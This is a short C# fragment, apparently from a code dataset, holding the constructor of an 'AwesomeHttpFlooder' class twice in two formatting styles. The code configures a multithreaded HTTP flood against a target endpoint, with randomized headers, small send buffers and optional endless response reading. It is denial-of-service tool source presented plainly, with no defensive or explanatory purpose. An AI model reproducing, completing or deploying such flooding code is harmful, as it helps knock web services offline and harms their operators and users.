public AwesomeHttpFlooder(IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1) { var info = new AttackInfo { Target = target, Protocol = ProtocolType.Tcp, Randomizer = this.GenerateHeaderBytes, MaxWrite = 1, SendBufferSize = 512, ReadBufferSize = 512 }; if (attackParams.WaitForResponse) { info.MaxRead = ulong.MaxValue; } _flooder = new AsyncFlooder(info, threadCount); this._headers = CreateHeaderExpression(attackParams); this._exprBuffers = new int[threadCount][]; var c = this._headers.ComputeLengthDataSize(); for (var i = 0; i < threadCount; i++) { this._exprBuffers[i] = new int[c]; } }
public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 ) { var info = new AttackInfo { Target = target, Protocol = ProtocolType.Tcp, Randomizer = this.GenerateHeaderBytes, MaxWrite = 1, SendBufferSize = 512, ReadBufferSize = 512 }; if ( attackParams.WaitForResponse ) info.MaxRead = ulong.MaxValue; _flooder = new AsyncFlooder( info, threadCount ); this._headers = CreateHeaderExpression( attackParams ); this._exprBuffers = new int[ threadCount ][]; var c = this._headers.ComputeLengthDataSize(); for (var i = 0; i < threadCount; i++) this._exprBuffers[ i ] = new int[c]; }